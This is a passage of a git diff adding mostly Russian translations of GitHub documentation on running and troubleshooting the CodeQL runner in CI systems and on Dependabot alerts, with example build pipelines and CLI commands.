/p:OutDir=$(Build.ArtifactStagingDirectory) /p:UseSharedCompilation=false + platform: Any CPU + configuration: Release + # Execute a clean build, in order to remove any existing build artifacts prior to the build. + clean: True + displayName: Visual Studio Build + +# Read and set the generated environment variables to end build tracing. This is done in PowerShell in this example. +- task: PowerShell@1 + displayName: Clear CodeQL environment variables + inputs: + targetType: inline + script: > + $json = Get-Content $(System.DefaultWorkingDirectory)/db/temp/tracingEnvironment/end-tracing.json | ConvertFrom-Json + $json.PSObject.Properties | ForEach-Object { + $template = "##vso[task.setvariable variable=" + $template += $_.Name + $template += "]" + $template += $_.Value + echo "$template" + } + +# Use `codeql database finalize` to complete database creation after the build is done. +- task: CmdLine@2 + displayName: Finalize CodeQL database + inputs: + script: 'codeql database finalize /codeql-dbs/example-repo' + + +# Analyze the database and upload the results. +- task: CmdLine@2 + displayName: Analyze CodeQL database + inputs: + script: 'codeql database analyze /codeql-dbs/example-repo csharp-code-scanning.qls --sarif-category=csharp --format=sarif-latest --output=/temp/example-repo-csharp.sarif' + +- task: CmdLine@2 + displayName: Upload CodeQL results + inputs: + script: 'echo "$TOKEN" | codeql github upload-results --repository=my-org/example-repo \ + --ref=refs/heads/main --commit=deb275d2d5fe9a522a0b7bd8b6b6a1c939552718 \ + --sarif=/temp/example-repo-csharp.sarif --github-auth-stdin' + +``` + +### Несколько языков с использованием автоматической сборки (C++, Python) + +Этот пример не является строго возможным для {% data variables.code-scanning.codeql_runner %}. +Будет проанализирован только один язык (компилируемый язык с большинством файлов). + +Средство выполнения: +```bash +echo "$TOKEN" | codeql-runner-linux init --repository my-org/example-repo \ + --languages cpp,python \ + --github-url https://github.com --github-auth-stdin + +# Source the script generated by the init step to set up the environment to monitor the build. +. codeql-runner/codeql-env.sh + +# Run the autobuilder for the language with the most files. +codeql-runner-linux autobuild + +echo "$TOKEN" | codeql-runner-linux analyze --repository my-org/example-repo + --github-url https://github.com --github-auth-stdin + --commit deb275d2d5fe9a522a0b7bd8b6b6a1c939552718 --ref refs/heads/main +``` + +Интерфейс командной строки. +```bash +# Create multiple databases using `--db-cluster`. +# Run autobuild by omitting `--command`. +codeql database create /codeql-dbs/example-repo-multi \ + --db-cluster --language cpp,python \ + --no-run-unnecessary-builds \ + --source-root . + +# Analyze each database in turn and upload the results. +for language in cpp python; do + codeql database analyze "/codeql-dbs/example-repo-multi/$language" \ + "$language-code-scanning.qls" --sarif-category="$language" + --format=sarif-latest --output="/temp/example-repo-$language.sarif" + + echo "$TOKEN" | codeql github upload-results --repository=my-org/example-repo \ + --ref=refs/heads/main --commit=deb275d2d5fe9a522a0b7bd8b6b6a1c939552718 \ + --sarif="/temp/example-repo-$language.sarif" --github-auth-stdin +done +``` + +### Несколько языков с помощью пользовательской команды сборки (C++, Python) + +Средство выполнения: +```bash +echo "$TOKEN" | codeql-runner-linux init --repository my-org/example-repo \ + --languages cpp,python \ + --github-url https://github.com --github-auth-stdin + +# Source the script generated by the init step to set up the environment to monitor the build. +. codeql-runner/codeql-env.sh + +# Run a custom build command. +make + +echo "$TOKEN" | codeql-runner-linux analyze --repository my-org/example-repo + --github-url https://github.com --github-auth-stdin + --commit deb275d2d5fe9a522a0b7bd8b6b6a1c939552718 --ref refs/heads/main +``` + +Интерфейс командной строки. +```bash +# Create multiple databases using `--db-cluster`. +codeql database create /codeql-dbs/example-repo-multi \ + --db-cluster --language cpp,python \ + --command make --no-run-unnecessary-builds \ + --source-root . + +# Analyze each database in turn and upload the results. +for language in cpp python; do + codeql database analyze "/codeql-dbs/example-repo-multi/$language" \ + "$language-code-scanning.qls" --sarif-category="$language" + --format=sarif-latest --output="/temp/example-repo-$language.sarif" + + echo "$TOKEN" | codeql github upload-results --repository=my-org/example-repo \ + --ref=refs/heads/main --commit=deb275d2d5fe9a522a0b7bd8b6b6a1c939552718 \ + --sarif="/temp/example-repo-$language.sarif" --github-auth-stdin +done +``` diff --git a/translations/ru-RU/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-runner-in-your-ci-system.md b/translations/ru-RU/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-runner-in-your-ci-system.md new file mode 100644 index 000000000000..9e7e430699f4 --- /dev/null +++ b/translations/ru-RU/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-runner-in-your-ci-system.md @@ -0,0 +1,184 @@ +--- +title: Запуск средства выполнения CodeQL в системе CI +shortTitle: Run CodeQL runner +intro: '{% data variables.code-scanning.codeql_runner %} можно использовать для выполнения {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} в сторонней системе непрерывной интеграции.' +product: '{% data reusables.gated-features.code-scanning %}' +redirect_from: + - /github/finding-security-vulnerabilities-and-errors-in-your-code/running-code-scanning-in-your-ci-system + - /github/finding-security-vulnerabilities-and-errors-in-your-code/running-codeql-code-scanning-in-your-ci-system + - /code-security/secure-coding/running-codeql-code-scanning-in-your-ci-system + - /code-security/secure-coding/running-codeql-runner-in-your-ci-system + - /code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-runner-in-your-ci-system +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: how_to +topics: + - Advanced Security + - Code scanning + - CodeQL + - Repositories + - Pull requests + - Integration + - CI + - SARIF +ms.openlocfilehash: 7e60376ed165a3af2da7f000c37d326cb33ade99 +ms.sourcegitcommit: b617c4a7a1e4bf2de3987a86e0eb217d7031490f +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/11/2022 +ms.locfileid: '148161097' +--- + + +{% ifversion codeql-runner-supported %} + +{% data reusables.code-scanning.deprecation-codeql-runner %} {% data reusables.code-scanning.beta %} {% data reusables.code-scanning.enterprise-enable-code-scanning %} + +## Сведения о {% data variables.code-scanning.codeql_runner %} + +{% data variables.code-scanning.codeql_runner %} — это средство, которое можно использовать для запуска {% data variables.product.prodname_code_scanning %} в коде, обрабатываемом в сторонней системе непрерывной интеграции (CI). {% data reusables.code-scanning.about-code-scanning %} Дополнительные сведения см. в статье [Сведения о {% data variables.product.prodname_code_scanning %} с {% data variables.product.prodname_codeql %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql). + +Во многих случаях проще настроить {% data variables.product.prodname_code_scanning %} {% data variables.product.prodname_codeql %} с помощью {% data variables.product.prodname_codeql_cli %} непосредственно в системе CI. + +Вы также можете использовать {% data variables.product.prodname_actions %} для запуска {% data variables.product.prodname_code_scanning %} в {% data variables.product.product_name %}. Дополнительные сведения см. в разделе [Настройка {% data variables.product.prodname_code_scanning %} для репозитория](/code-security/secure-coding/setting-up-code-scanning-for-a-repository). + +{% data variables.code-scanning.codeql_runner %} — это программа командной строки, которая выполняет анализ {% data variables.product.prodname_codeql %} при извлечении репозитория {% data variables.product.prodname_dotcom %}. Вы добавляете средство выполнения в свою стороннюю систему, а затем вызываете это средство выполнения для анализа кода и отправки результатов в {% data variables.product.product_name %}. Эти результаты отображаются в репозитории как оповещения {% data variables.product.prodname_code_scanning %}. + +{% note %} + +**Примечание.** {% ifversion fpt or ghec %} +* {% data variables.code-scanning.codeql_runner %} использует интерфейс командной строки {% data variables.product.prodname_codeql %} для анализа кода и, следовательно, имеет те же условия лицензии. Его можно бесплатно использовать в общедоступных репозиториях, которые хранятся на {% data variables.product.prodname_dotcom_the_website %}, а также можно использовать в частных репозиториях, принадлежащих клиентам с лицензией {% data variables.product.prodname_advanced_security %}. Дополнительные сведения см. в разделах [Условия {% data variables.product.product_name %} {% data variables.product.prodname_codeql %}](https://securitylab.github.com/tools/codeql/license) и [Интерфейс командной строки {% data variables.product.prodname_codeql %}](https://codeql.github.com/docs/codeql-cli/). +{% else %} +* {% data variables.code-scanning.codeql_runner %} доступен клиентам с лицензией {% data variables.product.prodname_advanced_security %}. +{% endif %} {% ifversion ghae %} +* {% data variables.code-scanning.codeql_runner %} не следует путать с интерфейсом командной строки {% data variables.product.prodname_codeql %}. CLI {% data variables.product.prodname_codeql %} — это интерфейс командной строки, который позволяет создавать базы данных {% data variables.product.prodname_codeql %} для исследования безопасности и выполнять запросы {% data variables.product.prodname_codeql %}. +Дополнительные сведения см. в разделе [{% data variables.product.prodname_codeql_cli %}](https://codeql.github.com/docs/codeql-cli/). +{% endif %} {% endnote %} + +## Скачивание {% data variables.code-scanning.codeql_runner %} + +{% data variables.code-scanning.codeql_runner %} можно скачать из https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/github/codeql-action/releases. В некоторых операционных системах может потребоваться изменить разрешения для скачанного файла, прежде чем его можно будет запустить. + +В Linux + +```shell +chmod +x codeql-runner-linux +``` + +Действия для MacOS. + +```shell +chmod +x codeql-runner-macos +sudo xattr -d com.apple.quarantine codeql-runner-macos +``` + +В Windows изменение разрешений для файла `codeql-runner-win.exe` обычно не требуется. + +## Добавление {% data variables.code-scanning.codeql_runner %} в систему CI + +Скачав {% data variables.code-scanning.codeql_runner %} и убедившись, что он может быть выполнен, следует сделать средство выполнения доступным для каждого сервера CI, который планируется использовать для {% data variables.product.prodname_code_scanning %}. Например, можно настроить каждый сервер для копирования средства выполнения из центрального внутреннего расположения. Кроме того, можно использовать REST API для получения средства выполнения непосредственно из {% data variables.product.prodname_dotcom %}, например: + +```shell +wget https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/github/codeql-action/releases/latest/download/codeql-runner-linux +chmod +x codeql-runner-linux +``` + +Помимо этого, каждому серверу CI также потребуется следующее. + +- {% data variables.product.prodname_github_app %} или {% data variables.product.pat_generic %} для использования {% data variables.code-scanning.codeql_runner %}. Необходимо использовать маркер доступа с областью `repo` или {% data variables.product.prodname_github_app %} с разрешением на запись `security_events`, а также разрешениями на чтение `metadata` и `contents`. Дополнительные сведения см. в [разделах Создание {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps)и [Создание {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token). +- Доступ к пакету {% data variables.product.prodname_codeql %}, связанному с этим выпуском {% data variables.code-scanning.codeql_runner %}. Этот пакет содержит запросы и библиотеки, необходимые для анализа {% data variables.product.prodname_codeql %}, а также интерфейс командной строки {% data variables.product.prodname_codeql %}, который используется средством выполнения внутренним образом. Дополнительные сведения см. в разделе "[{% data variables.product.prodname_codeql %} CLI](https://codeql.github.com/docs/codeql-cli/)". + +Существуют следующие варианты предоставления доступа к пакету {% data variables.product.prodname_codeql %}. + +1. Разрешите серверам CI доступ к https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/github/codeql-action, чтобы {% data variables.code-scanning.codeql_runner %} мог скачать пакет автоматически. +1. Скачайте или извлеките пакет вручную, сохраните его вместе с другими центральными ресурсами и используйте `--codeql-path` флаг , чтобы указать расположение пакета в вызовах для инициализации {% data variables.code-scanning.codeql_runner %}. + +## Вызов {% data variables.code-scanning.codeql_runner %} + +Необходимо вызвать {% data variables.code-scanning.codeql_runner %} из расположения возврата репозитория, который требуется проанализировать. При этом используются две следующие основные команды. + +1. `init` требуется для инициализации средства выполнения и создания базы данных {% data variables.product.prodname_codeql %} для каждого анализируемого языка. Эти базы данных заполняются и анализируются последующими командами. +1. `analyze` требуется для заполнения баз данных {% data variables.product.prodname_codeql %}, анализа их и отправки результатов в {% data variables.product.product_name %}. + +Для обеих команд необходимо указать URL-адрес {% data variables.product.product_name %}, *владельца/имя* репозитория, а также {% data variables.product.prodname_github_apps %} или {% data variables.product.pat_generic %} для проверки подлинности. Кроме того, необходимо указать расположение пакета CodeQL, если сервер CI не имеет доступа для его загрузки непосредственно из репозитория `github/codeql-action`. + +Вы можете настроить, где {% data variables.code-scanning.codeql_runner %} хранит пакет CodeQL для последующего анализа на сервере с помощью флага `--tools-dir` и где он хранит временные файлы во время анализа с помощью `--temp-dir`. + +Для просмотра ссылки на командную строку для средства выполнения используйте флаг `-h`. Например, чтобы вывести список всех команд, выполните `codeql-runner-OS -h`, а чтобы вывести список всех флагов, доступных для команды `init`, выполните `codeql-runner-OS init -h` (где `OS` зависит от используемого исполняемого файла). Дополнительные сведения см. в разделе [Настройка {% data variables.product.prodname_code_scanning %} в системе CI](/code-security/secure-coding/configuring-codeql-runner-in-your-ci-system#codeql-runner-command-reference). + +{% data reusables.code-scanning.upload-sarif-alert-limit %} + +### Простой пример + +В этом примере запускается анализ {% data variables.product.prodname_codeql %} на сервере CI Linux для репозитория `octo-org/example-repo`, размещенного в `{% data variables.command_line.git_url_example %}`. Процесс очень прост, так как репозиторий содержит только языки, которые можно анализировать с помощью {% data variables.product.prodname_codeql %} напрямую, без сборки (то есть Go, JavaScript, Python и TypeScript). + +В этом примере сервер имеет доступ к загрузке пакета {% data variables.product.prodname_codeql %} непосредственно из репозитория `github/codeql-action`, поэтому нет необходимости использовать флаг `--codeql-path`. + +1. Извлеките репозиторий для анализа. +1. Перейдите в каталог, в который извлечен репозиторий. +1. Инициализируйте {% data variables.code-scanning.codeql_runner %} и создайте базы данных {% data variables.product.prodname_codeql %} для обнаруженных языков. + + ```shell + $ echo "$TOKEN" | /path/to-runner/codeql-runner-linux init --repository octo-org/example-repo + --github-url {% data variables.command_line.git_url_example %} --github-auth-stdin + > Cleaning temp directory /srv/checkout/example-repo/codeql-runner + > ... + > Created CodeQL database at /srv/checkout/example-repo/codeql-runner/codeql_databases/javascript. + ``` + +{% data reusables.code-scanning.codeql-runner-analyze-example %} + +### Пример со скомпилированным языком + +Этот пример аналогичен предыдущему, но на этот раз репозиторий содержит код на C/C++, C# или Java. Чтобы создать базу данных {% data variables.product.prodname_codeql %} для этих языков, интерфейс командной строки должен выполнять мониторинг сборки. В конце процесса инициализации средство выполнения сообщает команду, необходимую для настройки среды перед сборкой кода. Вы должны выполнить эту команду, прежде чем вызывать обычный процесс сборки CI, а затем выполнить команду `analyze`. + +1. Извлеките репозиторий для анализа. +1. Перейдите в каталог, в который извлечен репозиторий. +1. Инициализируйте {% data variables.code-scanning.codeql_runner %} и создайте базы данных {% data variables.product.prodname_codeql %} для обнаруженных языков. + ```shell + $ echo "$TOKEN" | /path/to-runner/codeql-runner-linux init --repository octo-org/example-repo-2 + --github-url {% data variables.command_line.git_url_example %} --github-auth-stdin + > Cleaning temp directory /srv/checkout/example-repo-2/codeql-runner + > ... + > CodeQL environment output to "/srv/checkout/example-repo-2/codeql-runner/codeql-env.json" + and "/srv/checkout/example-repo-2/codeql-runner/codeql-env.sh". + Please export these variables to future processes so that CodeQL can monitor the build, for example by running + ". /srv/checkout/example-repo-2/codeql-runner/codeql-env.sh". + ``` +1. Получите скрипт, созданный действием `init` для настройки среды для мониторинга сборки. Обратите внимание на начальную точку и пробел в следующем фрагменте кода. + + ```shell + $ . /srv/checkout/example-repo-2/codeql-runner/codeql-env.sh + ``` + +1. Выполните сборку кода. В macOS перед командой сборки необходимо указать переменную среды `$CODEQL_RUNNER`. Дополнительные сведения см. в разделе [Устранение неполадок {% data variables.code-scanning.codeql_runner %} в системе CI](/code-security/secure-coding/troubleshooting-codeql-runner-in-your-ci-system#no-code-found-during-the-build). + +{% data reusables.code-scanning.codeql-runner-analyze-example %} + +{% note %} + +**Примечание:** Если вы используете контейнерную сборку, необходимо запустить {% data variables.code-scanning.codeql_runner %} в контейнере, в котором выполняется задача сборки. + +{% endnote %} + +## Дополнительные материалы + +- [Настройка {% data variables.code-scanning.codeql_runner %} в системе CI](/code-security/secure-coding/configuring-codeql-runner-in-your-ci-system) +- [Устранение неполадок {% data variables.code-scanning.codeql_runner %} в системе CI](/code-security/secure-coding/troubleshooting-codeql-runner-in-your-ci-system) + +{% else %} + +## Сведения о {% data variables.code-scanning.codeql_runner %} + +{% data variables.code-scanning.codeql_runner %} устарел. [{% data variables.product.prodname_codeql_cli %}](https://github.com/github/codeql-cli-binaries/releases) версии 2.7.6 имеет полное равенство функций. + +Сведения о переходе на {% data variables.product.prodname_codeql_cli %} см. в разделе [Переход со средства выполнения CodeQL на CLI CodeQL](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/migrating-from-the-codeql-runner-to-codeql-cli). + +## Дополнительные материалы + +- [Объявление нерекомендуемым средства выполнения CodeQL](https://github.blog/changelog/2021-09-21-codeql-runner-deprecation/) в блоге GitHub + +{% endif %} diff --git a/translations/ru-RU/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/troubleshooting-codeql-runner-in-your-ci-system.md b/translations/ru-RU/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/troubleshooting-codeql-runner-in-your-ci-system.md new file mode 100644 index 000000000000..02cc0d97c9ef --- /dev/null +++ b/translations/ru-RU/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/troubleshooting-codeql-runner-in-your-ci-system.md @@ -0,0 +1,69 @@ +--- +title: Troubleshooting CodeQL runner in your CI system +shortTitle: Troubleshoot CodeQL runner +intro: 'If you''re having problems with the {% data variables.code-scanning.codeql_runner %}, you can troubleshoot by using these tips.' +product: '{% data reusables.gated-features.code-scanning %}' +redirect_from: + - /github/finding-security-vulnerabilities-and-errors-in-your-code/troubleshooting-code-scanning-in-your-ci-system + - /github/finding-security-vulnerabilities-and-errors-in-your-code/troubleshooting-codeql-code-scanning-in-your-ci-system + - /code-security/secure-coding/troubleshooting-codeql-code-scanning-in-your-ci-system + - /code-security/secure-coding/troubleshooting-codeql-runner-in-your-ci-system + - /code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/troubleshooting-codeql-runner-in-your-ci-system +versions: + feature: codeql-runner-supported +type: how_to +topics: + - Advanced Security + - Code scanning + - CodeQL + - Troubleshooting + - Integration + - CI +--- + + +{% data reusables.code-scanning.deprecation-codeql-runner %} +{% data reusables.code-scanning.beta %} +{% data reusables.code-scanning.not-available %} + +## The `init` command takes too long + +Before the {% data variables.code-scanning.codeql_runner %} can build and analyze code, it needs access to the {% data variables.product.prodname_codeql %} bundle, which contains the {% data variables.product.prodname_codeql %} CLI and the {% data variables.product.prodname_codeql %} libraries. + +When you use the {% data variables.code-scanning.codeql_runner %} for the first time on your machine, the `init` command downloads the {% data variables.product.prodname_codeql %} bundle to your machine. This download can take a few minutes. +The {% data variables.product.prodname_codeql %} bundle is cached between runs, so if you use the {% data variables.code-scanning.codeql_runner %} again on the same machine, it won't download the {% data variables.product.prodname_codeql %} bundle again. + +To avoid this automatic download, you can manually download the {% data variables.product.prodname_codeql %} bundle to your machine and specify the path using the `--codeql-path` flag of the `init` command. + +## No code found during the build + +If the `analyze` command for the {% data variables.code-scanning.codeql_runner %} fails with an error `No source code was seen during the build`, this indicates that {% data variables.product.prodname_codeql %} was unable to monitor your code. Several reasons can explain such a failure. + +1. Automatic language detection identified a supported language, but there is no analyzable code of that language in the repository. A typical example is when our language detection service finds a file associated with a particular programming language like a `.h`, or `.gyp` file, but no corresponding executable code is present in the repository. To solve the problem, you can manually define the languages you want to analyze by using the `--languages` flag of the `init` command. For more information, see "[Configuring {% data variables.code-scanning.codeql_runner %} in your CI system](/code-security/secure-coding/configuring-codeql-runner-in-your-ci-system)." + +1. You're analyzing a compiled language without using the `autobuild` command and you run the build steps yourself after the `init` step. For the build to work, you must set up the environment such that the {% data variables.code-scanning.codeql_runner %} can monitor the build process. The `init` command generates instructions for how to export the required environment variables, so you can copy and run the script after you've run the `init` command. + - On macOS and Linux: + ```shell + $ . codeql-runner/codeql-env.sh + ``` + - On Windows, using the Command shell (`cmd`) or a batch file (`.bat`): + ```shell + > call codeql-runner\codeql-env.bat + ``` + - On Windows, using PowerShell: + ```shell + > cat codeql-runner\codeql-env.sh | Invoke-Expression + ``` + + The environment variables are also stored in the file `codeql-runner/codeql-env.json`. This file contains a single JSON object which maps environment variable keys to values. If you can't run the script generated by the `init` command, then you can use the data in JSON format instead. + + {% note %} + + **Note:** If you used the `--temp-dir` flag of the `init` command to specify a custom directory for temporary files, the path to the `codeql-env` files might be different. + + {% endnote %} + +1. You're analyzing a compiled language on macOS without using the `autobuild` command and you run the build steps yourself after the `init` step. If SIP (System Integrity Protection) is enabled, which is the default on recent versions of OSX, analysis might fail. To fix this, prefix the build command with the `$CODEQL_RUNNER` environment variable. + For example, if your build command is `cmd arg1 arg2`, you should run `$CODEQL_RUNNER cmd arg1 arg2`. + +1. The code is built in a container or on a separate machine. If you use a containerized build or if you outsource the build to another machine, make sure to run the {% data variables.code-scanning.codeql_runner %} in the container or on the machine where your build task takes place. For more information, see "[Running CodeQL code scanning in a container](/code-security/secure-coding/running-codeql-code-scanning-in-a-container)." diff --git a/translations/ru-RU/content/code-security/dependabot/dependabot-alerts/about-dependabot-alerts.md b/translations/ru-RU/content/code-security/dependabot/dependabot-alerts/about-dependabot-alerts.md new file mode 100644 index 000000000000..f2cb1e1e4a44 --- /dev/null +++ b/translations/ru-RU/content/code-security/dependabot/dependabot-alerts/about-dependabot-alerts.md @@ -0,0 +1,106 @@ +--- +title: Сведения об оповещениях Dependabot +intro: '{% data variables.product.product_name %} отправляет {% data variables.product.prodname_dependabot_alerts %} при выявлении того, что ваш репозиторий использует уязвимую зависимость{% ifversion GH-advisory-db-supports-malware %} или вредоносную программу{% endif %}.' +redirect_from: + - /articles/about-security-alerts-for-vulnerable-dependencies + - /github/managing-security-vulnerabilities/about-security-alerts-for-vulnerable-dependencies + - /github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies + - /code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies + - /code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: overview +topics: + - Dependabot + - Alerts + - Vulnerabilities + - Repositories + - Dependencies +shortTitle: Dependabot alerts +ms.openlocfilehash: 737e5547e3aefd6b5c49780df0c78cdc73292ee4 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148106744' +--- + + +## Сведения о {% data variables.product.prodname_dependabot_alerts %} + +{% ifversion GH-advisory-db-supports-malware %} {% data reusables.advisory-database.beta-malware-advisories %} {% endif %} + +{% data variables.product.prodname_dependabot_alerts %} сообщает вам, что ваш код использует небезопасный пакет. + +Если ваш код зависит от пакета с уязвимостью системы безопасности, это может вызвать ряд проблем для вашего проекта или его пользователей. Как можно быстрее выполните обновление до защищенной версии.{% ifversion GH-advisory-db-supports-malware %} Если ваш код использует вредоносную программу, вам потребуется заменить пакет защищенным альтернативным решением.{% endif %} + +{% data reusables.security-advisory.link-browsing-advisory-db %} + +## Выявление небезопасных зависимостей + +{% data reusables.dependabot.dependabot-alerts-beta %} + +{% data variables.product.prodname_dependabot %} выполняет проверку для выявления небезопасных зависимостей и отправляет {% data variables.product.prodname_dependabot_alerts %}, когда: + +{% ifversion fpt or ghec %} +- В {% data variables.product.prodname_advisory_database %} добавляется новая рекомендация. Дополнительные сведения см. в статье [Просмотр рекомендаций по безопасности в {% data variables.product.prodname_advisory_database %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database).{% else %} +- Новые данные рекомендаций синхронизируются с {% data variables.location.product_location %} каждый час из {% data variables.product.prodname_dotcom_the_website %}. {% data reusables.security-advisory.link-browsing-advisory-db %}{% endif %} {% note %} + + **Примечание.** Только рекомендации, которые были проверены {% data variables.product.company_short %}, будут активировать {% data variables.product.prodname_dependabot_alerts %}. + + {% endnote %} +- Изменился граф зависимостей для репозитория. Например, когда участник отправляет фиксацию для изменения пакетов или версий, она зависит от {% ifversion fpt or ghec %} или изменения кода одной из зависимостей{% endif %}. Дополнительные сведения см. в разделе [Сведения о графе зависимостей](/code-security/supply-chain-security/about-the-dependency-graph). + +{% data reusables.repositories.dependency-review %} + +Список экосистем, для которых {% data variables.product.product_name %} выявляет уязвимости и зависимости, см. в разделе [Поддерживаемые экосистемы пакетов](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph#supported-package-ecosystems). + +{% note %} + +**Примечание.** Важно поддерживать актуальность файлов манифеста и блокировки. Если граф зависимостей не отражает в точности текущие зависимости и версии, вы можете пропустить оповещения для используемых небезопасных зависимостей. Вы также можете получать оповещения о зависимостях, которые больше не используются. + +{% endnote %} + +## Настройка {% data variables.product.prodname_dependabot_alerts %} + +{% data reusables.repositories.enable-security-alerts %} + +{% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %} обнаруживает уязвимые зависимости и вредоносные программы в _общедоступных_ репозиториях и отображает граф зависимостей, но не создает {% data variables.product.prodname_dependabot_alerts %} по умолчанию. Владельцы репозитория или пользователи с правами администратора могут включить {% data variables.product.prodname_dependabot_alerts %} для общедоступных репозиториев. Владельцы частных репозиториев или пользователи с правами администратора могут включить {% data variables.product.prodname_dependabot_alerts %} путем включения графа зависимостей и {% data variables.product.prodname_dependabot_alerts %} для своих репозиториев. + +Можно включить или отключить {% data variables.product.prodname_dependabot_alerts %} для всех репозиториев, принадлежащих вашей организации или учетной записи. Дополнительные сведения см. в разделе [Настройка {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/configuring-dependabot-alerts). + +Сведения о требованиях к доступу для действий, связанных с {% data variables.product.prodname_dependabot_alerts %}, см. в разделе [Роли репозитория для организации](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#access-requirements-for-security-features). + +{% data variables.product.product_name %} сразу начинает создавать граф зависимостей и генерирует оповещения для всех небезопасных зависимостей сразу после их выявления. Обычно граф заполняется в течение нескольких минут, но при наличии репозиториев с большим количеством зависимостей это может занять больше времени. Дополнительные сведения см. в статье "[Управление параметрами использования данных для частного репозитория](/get-started/privacy-on-github/managing-data-use-settings-for-your-private-repository)". +{% endif %} + +Если {% data variables.product.product_name %} выявляет уязвимую зависимость {% ifversion GH-advisory-db-supports-malware %} или вредоносную программу{% endif %}, мы создаем оповещение {% data variables.product.prodname_dependabot %} и отображаем его {% ifversion fpt or ghec or ghes %} на вкладке "Безопасность" для репозитория и{% endif %} в графе зависимостей репозитория. Оповещение содержит {% ifversion fpt or ghec or ghes %}ссылку на затронутый файл в проекте, а также {% endif %}сведения об исправленной версии. {% data variables.product.product_name %} также может уведомлять ответственных за обслуживание затронутых репозиториев о новом оповещении в соответствии с настройками уведомлений. Дополнительные сведения см. в статье [Настройка уведомлений для {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/configuring-notifications-for-dependabot-alerts). + +{% ifversion fpt or ghec or ghes %} Для репозиториев, в которых включены {% data variables.product.prodname_dependabot_security_updates %}, оповещение также может содержать ссылку на запрос на вытягивание для обновления манифеста или файла блокировки до минимальной версии, которая устраняет уязвимость. Дополнительные сведения см. в разделе [Сведения об {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates). +{% endif %} + +{% warning %} + +**Примечание.** Для функций безопасности {% data variables.product.product_name %} не заявляется о возможности обнаруживать все уязвимости{% ifversion GH-advisory-db-supports-malware %} и вредоносные программы{% endif %}. Мы активно поддерживаем {% data variables.product.prodname_advisory_database %} и создаем оповещения с самыми актуальными сведениями. Но мы не можем обнаружить все вредоносные программы или сообщить вам обо всех известных зависимостях за гарантированный интервал времени. Эти функции не заменяют выполняемую человеком проверку каждой зависимости на наличие потенциальных уязвимостей или любых других проблем, поэтому рекомендуется консультироваться со специалистами службы безопасности или при необходимости проводить тщательный анализ зависимостей. + +{% endwarning %} + +## Доступ к {% data variables.product.prodname_dependabot_alerts %} + +Вы увидите все оповещения, затрагивающие конкретный проект,{% ifversion fpt or ghec %} на вкладке "Безопасность" репозитория или{% endif %} в графе зависимостей репозитория. Дополнительные сведения см. в статье [Просмотр и обновление {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts). + +По умолчанию мы уведомляем пользователей с разрешениями администратора в затронутых репозиториях о новых {% data variables.product.prodname_dependabot_alerts %}. {% ifversion fpt or ghec %}{% data variables.product.product_name %} никогда публично не раскрывает небезопасные уязвимости для каких-либо репозиториев. Вы также можете сделать {% data variables.product.prodname_dependabot_alerts %} видимыми для дополнительных пользователей или команд, работающих с репозиториями, которыми вы владеете или в которых имеете разрешения администратора. Дополнительные сведения см. в статье [Управление параметрами безопасности и анализа для репозитория](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts). +{% endif %} + +{% data reusables.notifications.vulnerable-dependency-notification-enable %} {% data reusables.notifications.vulnerable-dependency-notification-delivery-method-customization2 %} Дополнительные сведения см. в статье [Настройка уведомлений для {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/configuring-notifications-for-dependabot-alerts). + +Вы также можете просмотреть все {% data variables.product.prodname_dependabot_alerts %}, соответствующие определенной рекомендации, в {% data variables.product.prodname_advisory_database %}. {% data reusables.security-advisory.link-browsing-advisory-db %} + +{% ifversion fpt or ghec or ghes %} +## Дополнительные материалы + +- [Сведения о {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates) +- [Просмотр и обновление {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts) {% endif %} {% ifversion fpt or ghec %}- [Конфиденциальность в {% data variables.product.prodname_dotcom %}](/get-started/privacy-on-github){% endif %} diff --git a/translations/ru-RU/content/code-security/dependabot/dependabot-alerts/configuring-dependabot-alerts.md b/translations/ru-RU/content/code-security/dependabot/dependabot-alerts/configuring-dependabot-alerts.md new file mode 100644 index 